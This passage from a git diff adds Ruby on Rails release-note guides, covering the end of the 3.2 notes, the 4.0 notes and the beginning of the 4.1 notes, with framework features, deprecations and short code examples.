`method_missing` in favor of `action_missing` for missing actions. + +* Deprecated `ActionController#rescue_action`, `ActionController#initialize_template_class` and `ActionController#assign_shortcuts`. + +### Action Dispatch + +* Add `config.action_dispatch.default_charset` to configure default charset for `ActionDispatch::Response`. + +* Added `ActionDispatch::RequestId` middleware that'll make a unique X-Request-Id header available to the response and enables the `ActionDispatch::Request#uuid` method. This makes it easy to trace requests from end-to-end in the stack and to identify individual requests in mixed logs like Syslog. + +* The `ShowExceptions` middleware now accepts an exceptions application that is responsible to render an exception when the application fails. The application is invoked with a copy of the exception in `env["action_dispatch.exception"]` and with the `PATH_INFO` rewritten to the status code. + +* Allow rescue responses to be configured through a railtie as in `config.action_dispatch.rescue_responses`. + +#### Deprecations + +* Deprecated the ability to set a default charset at the controller level, use the new `config.action_dispatch.default_charset` instead. + +### Action View + +* Add `button_tag` support to `ActionView::Helpers::FormBuilder`. This support mimics the default behavior of `submit_tag`. + + ```erb + <%= form_for @post do |f| %> + <%= f.button %> + <% end %> + ``` + +* Date helpers accept a new option `:use_two_digit_numbers => true`, that renders select boxes for months and days with a leading zero without changing the respective values. For example, this is useful for displaying ISO 8601-style dates such as '2011-08-01'. + +* You can provide a namespace for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id. + + ```erb + <%= form_for(@offer, :namespace => 'namespace') do |f| %> + <%= f.label :version, 'Version' %>: + <%= f.text_field :version %> + <% end %> + ``` + +* Limit the number of options for `select_year` to 1000. Pass `:max_years_allowed` option to set your own limit. + +* `content_tag_for` and `div_for` can now take a collection of records. It will also yield the record as the first argument if you set a receiving argument in your block. So instead of having to do this: + + ```ruby + @items.each do |item| + content_tag_for(:li, item) do + Title: <%= item.title %> + end + end + ``` + + You can do this: + + ```ruby + content_tag_for(:li, @items) do |item| + Title: <%= item.title %> + end + ``` + +* Added `font_path` helper method that computes the path to a font asset in `public/fonts`. + +#### Deprecations + +* Passing formats or handlers to render :template and friends like `render :template => "foo.html.erb"` is deprecated. Instead, you can provide :handlers and :formats directly as options: ` render :template => "foo", :formats => [:html, :js], :handlers => :erb`. + +### Sprockets + +* Adds a configuration option `config.assets.logger` to control Sprockets logging. Set it to `false` to turn off logging and to `nil` to default to `Rails.logger`. + +Active Record +------------- + +* Boolean columns with 'on' and 'ON' values are type cast to true. + +* When the `timestamps` method creates the `created_at` and `updated_at` columns, it makes them non-nullable by default. + +* Implemented `ActiveRecord::Relation#explain`. + +* Implements `ActiveRecord::Base.silence_auto_explain` which allows the user to selectively disable automatic EXPLAINs within a block. + +* Implements automatic EXPLAIN logging for slow queries. A new configuration parameter `config.active_record.auto_explain_threshold_in_seconds` determines what's to be considered a slow query. Setting that to nil disables this feature. Defaults are 0.5 in development mode, and nil in test and production modes. Rails 3.2 supports this feature in SQLite, MySQL (mysql2 adapter), and PostgreSQL. + +* Added `ActiveRecord::Base.store` for declaring simple single-column key/value stores. + + ```ruby + class User < ActiveRecord::Base + store :settings, accessors: [ :color, :homepage ] + end + + u = User.new(color: 'black', homepage: '37signals.com') + u.color # Accessor stored attribute + u.settings[:country] = 'Denmark' # Any attribute, even if not specified with an accessor + ``` + +* Added ability to run migrations only for a given scope, which allows to run migrations only from one engine (for example to revert changes from an engine that need to be removed). + + ``` + rake db:migrate SCOPE=blog + ``` + +* Migrations copied from engines are now scoped with engine's name, for example `01_create_posts.blog.rb`. + +* Implemented `ActiveRecord::Relation#pluck` method that returns an array of column values directly from the underlying table. This also works with serialized attributes. + + ```ruby + Client.where(:active => true).pluck(:id) + # SELECT id from clients where active = 1 + ``` + +* Generated association methods are created within a separate module to allow overriding and composition. For a class named MyModel, the module is named `MyModel::GeneratedFeatureMethods`. It is included into the model class immediately after the `generated_attributes_methods` module defined in Active Model, so association methods override attribute methods of the same name. + +* Add `ActiveRecord::Relation#uniq` for generating unique queries. + + ```ruby + Client.select('DISTINCT name') + ``` + + ..can be written as: + + ```ruby + Client.select(:name).uniq + ``` + + This also allows you to revert the uniqueness in a relation: + + ```ruby + Client.select(:name).uniq.uniq(false) + ``` + +* Support index sort order in SQLite, MySQL and PostgreSQL adapters. + +* Allow the `:class_name` option for associations to take a symbol in addition to a string. This is to avoid confusing newbies, and to be consistent with the fact that other options like `:foreign_key` already allow a symbol or a string. + + ```ruby + has_many :clients, :class_name => :Client # Note that the symbol need to be capitalized + ``` + +* In development mode, `db:drop` also drops the test database in order to be symmetric with `db:create`. + +* Case-insensitive uniqueness validation avoids calling LOWER in MySQL when the column already uses a case-insensitive collation. + +* Transactional fixtures enlist all active database connections. You can test models on different connections without disabling transactional fixtures. + +* Add `first_or_create`, `first_or_create!`, `first_or_initialize` methods to Active Record. This is a better approach over the old `find_or_create_by` dynamic methods because it's clearer which arguments are used to find the record and which are used to create it. + + ```ruby + User.where(:first_name => "Scarlett").first_or_create!(:last_name => "Johansson") + ``` + +* Added a `with_lock` method to Active Record objects, which starts a transaction, locks the object (pessimistically) and yields to the block. The method takes one (optional) parameter and passes it to `lock!`. + + This makes it possible to write the following: + + ```ruby + class Order < ActiveRecord::Base + def cancel! + transaction do + lock! + # ... cancelling logic + end + end + end + ``` + + as: + + ```ruby + class Order < ActiveRecord::Base + def cancel! + with_lock do + # ... cancelling logic + end + end + end + ``` + +### Deprecations + +* Automatic closure of connections in threads is deprecated. For example the following code is deprecated: + + ```ruby + Thread.new { Post.find(1) }.join + ``` + + It should be changed to close the database connection at the end of the thread: + + ```ruby + Thread.new { + Post.find(1) + Post.connection.close + }.join + ``` + + Only people who spawn threads in their application code need to worry about this change. + +* The `set_table_name`, `set_inheritance_column`, `set_sequence_name`, `set_primary_key`, `set_locking_column` methods are deprecated. Use an assignment method instead. For example, instead of `set_table_name`, use `self.table_name=`. + + ```ruby + class Project < ActiveRecord::Base + self.table_name = "project" + end + ``` + + Or define your own `self.table_name` method: + + ```ruby + class Post < ActiveRecord::Base + def self.table_name + "special_" + super + end + end + + Post.table_name # => "special_posts" + + ``` + +Active Model +------------ + +* Add `ActiveModel::Errors#added?` to check if a specific error has been added. + +* Add ability to define strict validations with `strict => true` that always raises exception when fails. + +* Provide mass_assignment_sanitizer as an easy API to replace the sanitizer behavior. Also support both :logger (default) and :strict sanitizer behavior. + +### Deprecations + +* Deprecated `define_attr_method` in `ActiveModel::AttributeMethods` because this only existed to support methods like `set_table_name` in Active Record, which are themselves being deprecated. + +* Deprecated `Model.model_name.partial_path` in favor of `model.to_partial_path`. + +Active Resource +--------------- + +* Redirect responses: 303 See Other and 307 Temporary Redirect now behave like 301 Moved Permanently and 302 Found. + +Active Support +-------------- + +* Added `ActiveSupport:TaggedLogging` that can wrap any standard `Logger` class to provide tagging capabilities. + + ```ruby + Logger = ActiveSupport::TaggedLogging.new(Logger.new(STDOUT)) + + Logger.tagged("BCX") { Logger.info "Stuff" } + # Logs "[BCX] Stuff" + + Logger.tagged("BCX", "Jason") { Logger.info "Stuff" } + # Logs "[BCX] [Jason] Stuff" + + Logger.tagged("BCX") { Logger.tagged("Jason") { Logger.info "Stuff" } } + # Logs "[BCX] [Jason] Stuff" + ``` + +* The `beginning_of_week` method in `Date`, `Time` and `DateTime` accepts an optional argument representing the day in which the week is assumed to start. + +* `ActiveSupport::Notifications.subscribed` provides subscriptions to events while a block runs. + +* Defined new methods `Module#qualified_const_defined?`, `Module#qualified_const_get` and `Module#qualified_const_set` that are analogous to the corresponding methods in the standard API, but accept qualified constant names. + +* Added `#deconstantize` which complements `#demodulize` in inflections. This removes the rightmost segment in a qualified constant name. + +* Added `safe_constantize` that constantizes a string but returns `nil` instead of raising an exception if the constant (or part of it) does not exist. + +* `ActiveSupport::OrderedHash` is now marked as extractable when using `Array#extract_options!`. + +* Added `Array#prepend` as an alias for `Array#unshift` and `Array#append` as an alias for `Array#<<`. + +* The definition of a blank string for Ruby 1.9 has been extended to Unicode whitespace. Also, in Ruby 1.8 the ideographic space U`3000 is considered to be whitespace. + +* The inflector understands acronyms. + +* Added `Time#all_day`, `Time#all_week`, `Time#all_quarter` and `Time#all_year` as a way of generating ranges. + + ```ruby + Event.where(:created_at => Time.now.all_week) + Event.where(:created_at => Time.now.all_day) + ``` + +* Added `instance_accessor: false` as an option to `Class#cattr_accessor` and friends. + +* `ActiveSupport::OrderedHash` now has different behavior for `#each` and `#each_pair` when given a block accepting its parameters with a splat. + +* Added `ActiveSupport::Cache::NullStore` for use in development and testing. + +* Removed `ActiveSupport::SecureRandom` in favor of `SecureRandom` from the standard library. + +### Deprecations + +* `ActiveSupport::Base64` is deprecated in favor of `::Base64`. + +* Deprecated `ActiveSupport::Memoizable` in favor of Ruby memoization pattern. + +* `Module#synchronize` is deprecated with no replacement. Please use monitor from ruby's standard library. + +* Deprecated `ActiveSupport::MessageEncryptor#encrypt` and `ActiveSupport::MessageEncryptor#decrypt`. + +* `ActiveSupport::BufferedLogger#silence` is deprecated. If you want to squelch logs for a certain block, change the log level for that block. + +* `ActiveSupport::BufferedLogger#open_log` is deprecated. This method should not have been public in the first place. + +* `ActiveSupport::BufferedLogger's` behavior of automatically creating the directory for your log file is deprecated. Please make sure to create the directory for your log file before instantiating. + +* `ActiveSupport::BufferedLogger#auto_flushing` is deprecated. Either set the sync level on the underlying file handle like this. Or tune your filesystem. The FS cache is now what controls flushing. + + ```ruby + f = File.open('foo.log', 'w') + f.sync = true + ActiveSupport::BufferedLogger.new f + ``` + +* `ActiveSupport::BufferedLogger#flush` is deprecated. Set sync on your filehandle, or tune your filesystem. + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.2 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev). diff --git a/guides/source/4_0_release_notes.md b/guides/source/4_0_release_notes.md new file mode 100644 index 0000000000..c9bc7f937b --- /dev/null +++ b/guides/source/4_0_release_notes.md @@ -0,0 +1,284 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 4.0 Release Notes +=============================== + +Highlights in Rails 4.0: + +* Ruby 2.0 preferred; 1.9.3+ required +* Strong Parameters +* Turbolinks +* Russian Doll Caching + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/4-0-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.0 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3.2 in case you haven't and make sure your application still runs as expected before attempting an update to Rails 4.0. A list of things to watch out for when upgrading is available in the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-3-2-to-rails-4-0) guide. + + +Creating a Rails 4.0 application +-------------------------------- + +``` + You should have the 'rails' RubyGem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: [Bundler homepage](https://bundler.io) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +``` +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +``` +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Major Features +-------------- + +[](https://guides.rubyonrails.org/images/4_0_release_notes/rails4_features.png) + +### Upgrade + +* **Ruby 1.9.3** ([commit](https://github.com/rails/rails/commit/a0380e808d3dbd2462df17f5d3b7fcd8bd812496)) - Ruby 2.0 preferred; 1.9.3+ required +* **[New deprecation policy](https://www.youtube.com/watch?v=z6YgD6tVPQs)** - Deprecated features are warnings in Rails 4.0 and will be removed in Rails 4.1. +* **ActionPack page and action caching** ([commit](https://github.com/rails/rails/commit/b0a7068564f0c95e7ef28fc39d0335ed17d93e90)) - Page and action caching are extracted to a separate gem. Page and action caching requires too much manual intervention (manually expiring caches when the underlying model objects are updated). Instead, use Russian doll caching. +* **ActiveRecord observers** ([commit](https://github.com/rails/rails/commit/ccecab3ba950a288b61a516bf9b6962e384aae0b)) - Observers are extracted to a separate gem. Observers are only needed for page and action caching, and can lead to spaghetti code. +* **ActiveRecord session store** ([commit](https://github.com/rails/rails/commit/0ffe19056c8e8b2f9ae9d487b896cad2ce9387ad)) - The ActiveRecord session store is extracted to a separate gem. Storing sessions in SQL is costly. Instead, use cookie sessions, memcache sessions, or a custom session store. +* **ActiveModel mass assignment protection** ([commit](https://github.com/rails/rails/commit/f8c9a4d3e88181cee644f91e1342bfe896ca64c6)) - Rails 3 mass assignment protection is deprecated. Instead, use strong parameters. +* **ActiveResource** ([commit](https://github.com/rails/rails/commit/f1637bf2bb00490203503fbd943b73406e043d1d)) - ActiveResource is extracted to a separate gem. ActiveResource was not widely used. +* **vendor/plugins removed** ([commit](https://github.com/rails/rails/commit/853de2bd9ac572735fa6cf59fcf827e485a231c3)) - Use a `Gemfile` to manage installed gems. + +### ActionPack + +* **Strong parameters** ([commit](https://github.com/rails/rails/commit/a8f6d5c6450a7fe058348a7f10a908352bb6c7fc)) - Only allow permitted parameters to update model objects (`params.permit(:title, :text)`). +* **Routing concerns** ([commit](https://github.com/rails/rails/commit/0dd24728a088fcb4ae616bb5d62734aca5276b1b)) - In the routing DSL, factor out common subroutes (`comments` from `/posts/1/comments` and `/videos/1/comments`). +* **ActionController::Live** ([commit](https://github.com/rails/rails/commit/af0a9f9eefaee3a8120cfd8d05cbc431af376da3)) - Stream JSON with `response.stream`. +* **Declarative ETags** ([commit](https://github.com/rails/rails/commit/ed5c938fa36995f06d4917d9543ba78ed506bb8d)) - Add controller-level etag additions that will be part of the action etag computation. +* **[Russian doll caching](http://37signals.com/svn/posts/3113-how-key-based-cache-expiration-works)** ([commit](https://github.com/rails/rails/commit/4154bf012d2bec2aae79e4a49aa94a70d3e91d49)) - Cache nested fragments of views. Each fragment expires based on a set of dependencies (a cache key). The cache key is usually a template version number and a model object. +* **Turbolinks** ([commit](https://github.com/rails/rails/commit/e35d8b18d0649c0ecc58f6b73df6b3c8d0c6bb74)) - Serve only one initial HTML page. When the user navigates to another page, use pushState to update the URL and use AJAX to update the title and body. +* **Decouple ActionView from ActionController** ([commit](https://github.com/rails/rails/commit/78b0934dd1bb84e8f093fb8ef95ca99b297b51cd)) - ActionView was decoupled from ActionPack and will be moved to a separated gem in Rails 4.1. +* **Do not depend on ActiveModel** ([commit](https://github.com/rails/rails/commit/166dbaa7526a96fdf046f093f25b0a134b277a68)) - ActionPack no longer depends on ActiveModel. + +### General + + * **ActiveModel::Model** ([commit](https://github.com/rails/rails/commit/3b822e91d1a6c4eab0064989bbd07aae3a6d0d08)) - `ActiveModel::Model`, a mixin to make normal Ruby objects to work with ActionPack out of box (ex. for `form_for`) + * **New scope API** ([commit](https://github.com/rails/rails/commit/50cbc03d18c5984347965a94027879623fc44cce)) - Scopes must always use callables. + * **Schema cache dump** ([commit](https://github.com/rails/rails/commit/5ca4fc95818047108e69e22d200e7a4a22969477)) - To improve Rails boot time, instead of loading the schema directly from the database, load the schema from a dump file. + * **Support for specifying transaction isolation level** ([commit](https://github.com/rails/rails/commit/392eeecc11a291e406db927a18b75f41b2658253)) - Choose whether repeatable reads or improved performance (less locking) is more important. + * **Dalli** ([commit](https://github.com/rails/rails/commit/82663306f428a5bbc90c511458432afb26d2f238)) - Use Dalli memcache client for the memcache store. + * **Notifications start & finish** ([commit](https://github.com/rails/rails/commit/f08f8750a512f741acb004d0cebe210c5f949f28)) - Active Support instrumentation reports start and finish notifications to subscribers. + * **Thread safe by default** ([commit](https://github.com/rails/rails/commit/5d416b907864d99af55ebaa400fff217e17570cd)) - Rails can run in threaded app servers without additional configuration. + +NOTE: Check that the gems you are using are threadsafe. + + * **PATCH verb** ([commit](https://github.com/rails/rails/commit/eed9f2539e3ab5a68e798802f464b8e4e95e619e)) - In Rails, PATCH replaces PUT. PATCH is used for partial updates of resources. + +### Security + +* **match do not catch all** ([commit](https://github.com/rails/rails/commit/90d2802b71a6e89aedfe40564a37bd35f777e541)) - In the routing DSL, match requires the HTTP verb or verbs to be specified. +* **html entities escaped by default** ([commit](https://github.com/rails/rails/commit/5f189f41258b83d49012ec5a0678d827327e7543)) - Strings rendered in erb are escaped unless wrapped with `raw` or `html_safe` is called. +* **New security headers** ([commit](https://github.com/rails/rails/commit/6794e92b204572d75a07bd6413bdae6ae22d5a82)) - Rails sends the following headers with every HTTP request: `X-Frame-Options` (prevents clickjacking by forbidding the browser from embedding the page in a frame), `X-XSS-Protection` (asks the browser to halt script injection) and `X-Content-Type-Options` (prevents the browser from opening a jpeg as an exe). + +Extraction of features to gems +--------------------------- + +In Rails 4.0, several features have been extracted into gems. You can simply add the extracted gems to your `Gemfile` to bring the functionality back. + +* Hash-based & Dynamic finder methods ([GitHub](https://github.com/rails/activerecord-deprecated_finders)) +* Mass assignment protection in Active Record models ([GitHub](https://github.com/rails/protected_attributes), [Pull Request](https://github.com/rails/rails/pull/7251)) +* ActiveRecord::SessionStore ([GitHub](https://github.com/rails/activerecord-session_store), [Pull Request](https://github.com/rails/rails/pull/7436)) +* Active Record Observers ([GitHub](https://github.com/rails/rails-observers), [Commit](https://github.com/rails/rails/commit/39e85b3b90c58449164673909a6f1893cba290b2)) +* Active Resource ([GitHub](https://github.com/rails/activeresource), [Pull Request](https://github.com/rails/rails/pull/572), [Blog](http://yetimedia-blog-blog.tumblr.com/post/35233051627/activeresource-is-dead-long-live-activeresource)) +* Action Caching ([GitHub](https://github.com/rails/actionpack-action_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Page Caching ([GitHub](https://github.com/rails/actionpack-page_caching), [Pull Request](https://github.com/rails/rails/pull/7833)) +* Sprockets ([GitHub](https://github.com/rails/sprockets-rails)) +* Performance tests ([GitHub](https://github.com/rails/rails-perftest), [Pull Request](https://github.com/rails/rails/pull/8876)) + +Documentation +------------- + +* Guides are rewritten in GitHub Flavored Markdown. + +* Guides have a responsive design. + +Railties +-------- + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/railties/CHANGELOG.md) for detailed changes. + +### Notable changes + +* New test locations `test/models`, `test/helpers`, `test/controllers`, and `test/mailers`. Corresponding rake tasks added as well. ([Pull Request](https://github.com/rails/rails/pull/7878)) + +* Your app's executables now live in the `bin/` directory. Run `rake rails:update:bin` to get `bin/bundle`, `bin/rails`, and `bin/rake`. + +* Threadsafe on by default + +* Ability to use a custom builder by passing `--builder` (or `-b`) to + `rails new` has been removed. Consider using application templates + instead. ([Pull Request](https://github.com/rails/rails/pull/9401)) + +### Deprecations + +* `config.threadsafe!` is deprecated in favor of `config.eager_load` which provides a more fine grained control on what is eager loaded. + +* `Rails::Plugin` has gone. Instead of adding plugins to `vendor/plugins` use gems or bundler with path or git dependencies. + +Action Mailer +------------- + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionmailer/CHANGELOG.md) for detailed changes. + +### Notable changes + +### Deprecations + +Active Model +------------ + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activemodel/CHANGELOG.md) for detailed changes. + +### Notable changes + +* Add `ActiveModel::ForbiddenAttributesProtection`, a simple module to protect attributes from mass assignment when non-permitted attributes are passed. + +* Added `ActiveModel::Model`, a mixin to make Ruby objects work with Action Pack out of box. + +### Deprecations + +Active Support +-------------- + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activesupport/CHANGELOG.md) for detailed changes. + +### Notable changes + +* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`. + +* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. + +* Inflections can now be defined per locale. `singularize` and `pluralize` accept locale as an extra argument. + +* `Object#try` will now return nil instead of raise a NoMethodError if the receiving object does not implement the method, but you can still get the old behavior by using the new `Object#try!`. + +* `String#to_date` now raises `ArgumentError: invalid date` instead of `NoMethodError: undefined method 'div' for nil:NilClass` + when given an invalid date. It is now the same as `Date.parse`, and it accepts more invalid dates than 3.x, such as: + + ```ruby + # ActiveSupport 3.x + "asdf".to_date # => NoMethodError: undefined method `div' for nil:NilClass + "333".to_date # => NoMethodError: undefined method `div' for nil:NilClass + + # ActiveSupport 4 + "asdf".to_date # => ArgumentError: invalid date + "333".to_date # => Fri, 29 Nov 2013 + ``` + +### Deprecations + +* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead. + +* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of thread safety. It will be removed without replacement in Rails 4.1. + +* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and `#encode_json` methods for custom JSON string literals. + +* Deprecates the compatibility method `Module#local_constant_names`, use `Module#local_constants` instead (which returns symbols). + +* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger from Ruby standard library. + +* Deprecate `assert_present` and `assert_blank` in favor of `assert object.blank?` and `assert object.present?` + +Action Pack +----------- + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/actionpack/CHANGELOG.md) for detailed changes. + +### Notable changes + +* Change the stylesheet of exception pages for development mode. Additionally display also the line of code and fragment that raised the exception in all exceptions pages. + +### Deprecations + + +Active Record +------------- + +Please refer to the [Changelog](https://github.com/rails/rails/blob/4-0-stable/activerecord/CHANGELOG.md) for detailed changes. + +### Notable changes + +* Improve ways to write `change` migrations, making the old `up` & `down` methods no longer necessary. + + * The methods `drop_table` and `remove_column` are now reversible, as long as the necessary information is given. + The method `remove_column` used to accept multiple column names; instead use `remove_columns` (which is not revertible). + The method `change_table` is also reversible, as long as its block doesn't call `remove`, `change` or `change_default` + + * New method `reversible` makes it possible to specify code to be run when migrating up or down. + See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#using-reversible) + + * New method `revert` will revert a whole migration or the given block. + If migrating down, the given migration / block is run normally. + See the [Guide on Migration](https://github.com/rails/rails/blob/master/guides/source/active_record_migrations.md#reverting-previous-migrations) + +* Adds PostgreSQL array type support. Any datatype can be used to create an array column, with full migration and schema dumper support. + +* Add `Relation#load` to explicitly load the record and return `self`. + +* `Model.all` now returns an `ActiveRecord::Relation`, rather than an array of records. Use `Relation#to_a` if you really want an array. In some specific cases, this may cause breakage when upgrading. + +* Added `ActiveRecord::Migration.check_pending!` that raises an error if migrations are pending. + +* Added custom coders support for `ActiveRecord::Store`. Now you can set your custom coder like this: + + store :settings, accessors: [ :color, :homepage ], coder: JSON + +* `mysql` and `mysql2` connections will set `SQL_MODE=STRICT_ALL_TABLES` by default to avoid silent data loss. This can be disabled by specifying `strict: false` in your `database.yml`. + +* Remove IdentityMap. + +* Remove automatic execution of EXPLAIN queries. The option `active_record.auto_explain_threshold_in_seconds` is no longer used and should be removed. + +* Adds `ActiveRecord::NullRelation` and `ActiveRecord::Relation#none` implementing the null object pattern for the Relation class. + +* Added `create_join_table` migration helper to create HABTM join tables. + +* Allows PostgreSQL hstore records to be created. + +### Deprecations + +* Deprecated the old-style hash based finder API. This means that methods which previously accepted "finder options" no longer do. + +* All dynamic methods except for `find_by_...` and `find_by_...!` are deprecated. Here's + how you can rewrite the code: + + * `find_all_by_...` can be rewritten using `where(...)`. + * `find_last_by_...` can be rewritten using `where(...).last`. + * `scoped_by_...` can be rewritten using `where(...)`. + * `find_or_initialize_by_...` can be rewritten using `find_or_initialize_by(...)`. + * `find_or_create_by_...` can be rewritten using `find_or_create_by(...)`. + * `find_or_create_by_...!` can be rewritten using `find_or_create_by!(...)`. + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. diff --git a/guides/source/4_1_release_notes.md b/guides/source/4_1_release_notes.md new file mode 100644 index 0000000000..b236f7ca24 --- /dev/null +++ b/guides/source/4_1_release_notes.md @@ -0,0 +1,732 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Ruby on Rails 4.1 Release Notes +=============================== + +Highlights in Rails 4.1: + +* Spring application preloader +* `config/secrets.yml` +* Action Pack variants +* Action Mailer previews + +These release notes cover only the major changes. To learn about various bug +fixes and changes, please refer to the change logs or check out the [list of +commits](https://github.com/rails/rails/commits/4-1-stable) in the main Rails +repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 4.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test +coverage before going in. You should also first upgrade to Rails 4.0 in case you +haven't and make sure your application still runs as expected before attempting +an update to Rails 4.1. A list of things to watch out for when upgrading is +available in the +[Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-0-to-rails-4-1) +guide. + + +Major Features +-------------- + +### Spring Application Preloader + +Spring is a Rails application preloader. It speeds up development by keeping +your application running in the background so you don't need to boot it every +time you run a test, rake task or migration. + +New Rails 4.1 applications will ship with "springified" binstubs. This means +that `bin/rails` and `bin/rake` will automatically take advantage of preloaded +spring environments. + +**Running rake tasks:** + +``` +bin/rake test:models +``` + +**Running a Rails command:** + +``` +bin/rails console +``` + +**Spring introspection:** + +``` +$ bin/spring status +Spring is running: + + 1182 spring server | my_app | started 29 mins ago + 3656 spring app | my_app | started 23 secs ago | test mode + 3746 spring app | my_app | started 10 secs ago | development mode +``` + +Have a look at the +[Spring README](https://github.com/rails/spring/blob/master/README.md) to +see all available features. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#spring) +guide on how to migrate existing applications to use this feature. + +### `config/secrets.yml` + +Rails 4.1 generates a new `secrets.yml` file in the `config` folder. By default, +this file contains the application's `secret_key_base`, but it could also be +used to store other secrets such as access keys for external APIs. + +The secrets added to this file are accessible via `Rails.application.secrets`. +For example, with the following `config/secrets.yml`: + +```yaml +development: + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY +``` + +`Rails.application.secrets.some_api_key` returns `SOMEKEY` in the development +environment. + +See the [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#config-secrets-yml) +guide on how to migrate existing applications to use this feature. + +### Action Pack Variants + +We often want to render different HTML/JSON/XML templates for phones, +tablets, and desktop browsers. Variants make it easy. + +The request variant is a specialization of the request format, like `:tablet`, +`:phone`, or `:desktop`. + +You can set the variant in a `before_action`: + +```ruby +request.variant = :tablet if request.user_agent =~ /iPad/ +``` + +Respond to variants in the action just like you respond to formats: + +```ruby +respond_to do |format| + format.html do |html| + html.tablet # renders app/views/projects/show.html+tablet.erb + html.phone { extra_setup; render ... } + end +end +``` + +Provide separate templates for each format and variant: + +``` +app/views/projects/show.html.erb +app/views/projects/show.html+tablet.erb +app/views/projects/show.html+phone.erb +``` + +You can also simplify the variants definition using the inline syntax: + +```ruby +respond_to do |format| + format.js { render "trash" } + format.html.phone { redirect_to progress_path } + format.html.none { render "trash" } +end +``` + +### Action Mailer Previews + +Action Mailer previews provide a way to see how emails look by visiting +a special URL that renders them. + +You implement a preview class whose methods return the mail object you'd like +to check: + +```ruby +class NotifierPreview < ActionMailer::Preview + def welcome + Notifier.welcome(User.first) + end +end +``` + +The preview is available in http://localhost:3000/rails/mailers/notifier/welcome, +and a list of them in http://localhost:3000/rails/mailers. + +By default, these preview classes live in `test/mailers/previews`. +This can be configured using the `preview_path` option. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActionMailer/Base.html#class-ActionMailer::Base-label-Previewing+emails) +for a detailed write up. + +### Active Record enums + +Declare an enum attribute where the values map to integers in the database, but +can be queried by name. + +```ruby +class Conversation < ActiveRecord::Base + enum status: [ :active, :archived ] +end + +conversation.archived! +conversation.active? # => false +conversation.status # => "archived" + +Conversation.archived # => Relation for all archived Conversations + +Conversation.statuses # => { "active" => 0, "archived" => 1 } +``` + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/ActiveRecord/Enum.html) +for a detailed write up. + +### Message Verifiers + +Message verifiers can be used to generate and verify signed messages. This can +be useful to safely transport sensitive data like remember-me tokens and +friends. + +The method `Rails.application.message_verifier` returns a new message verifier +that signs messages with a key derived from secret_key_base and the given +message verifier name: + +```ruby +signed_token = Rails.application.message_verifier(:remember_me).generate(token) +Rails.application.message_verifier(:remember_me).verify(signed_token) # => token + +Rails.application.message_verifier(:remember_me).verify(tampered_token) +# raises ActiveSupport::MessageVerifier::InvalidSignature +``` + +### Module#concerning + +A natural, low-ceremony way to separate responsibilities within a class: + +```ruby +class Todo < ActiveRecord::Base + concerning :EventTracking do + included do + has_many :events + end + + def latest_event + ... + end + + private + def some_internal_method + ... + end + end +end +``` + +This example is equivalent to defining a `EventTracking` module inline, +extending it with `ActiveSupport::Concern`, then mixing it in to the +`Todo` class. + +See its +[documentation](http://api.rubyonrails.org/v4.1.0/classes/Module/Concerning.html) +for a detailed write up and the intended use cases. + +### CSRF protection from remote `<script>` tags + +Cross-site request forgery (CSRF) protection now covers GET requests with +JavaScript responses, too. That prevents a third-party site from referencing +your JavaScript URL and attempting to run it to extract sensitive data. + +This means any of your tests that hit `.js` URLs will now fail CSRF protection +unless they use `xhr`. Upgrade your tests to be explicit about expecting +XmlHttpRequests. Instead of `post :create, format: :js`, switch to the explicit +`xhr :post, :create, format: :js`. + + +Railties +-------- + +Please refer to the +[Changelog](https://github.com/rails/rails/blob/4-1-stable/railties/CHANGELOG.md) +for detailed changes. + +### Removals + +* Removed `update:application_controller` rake task. + +* Removed deprecated `Rails.application.railties.engines`. + +* Removed deprecated 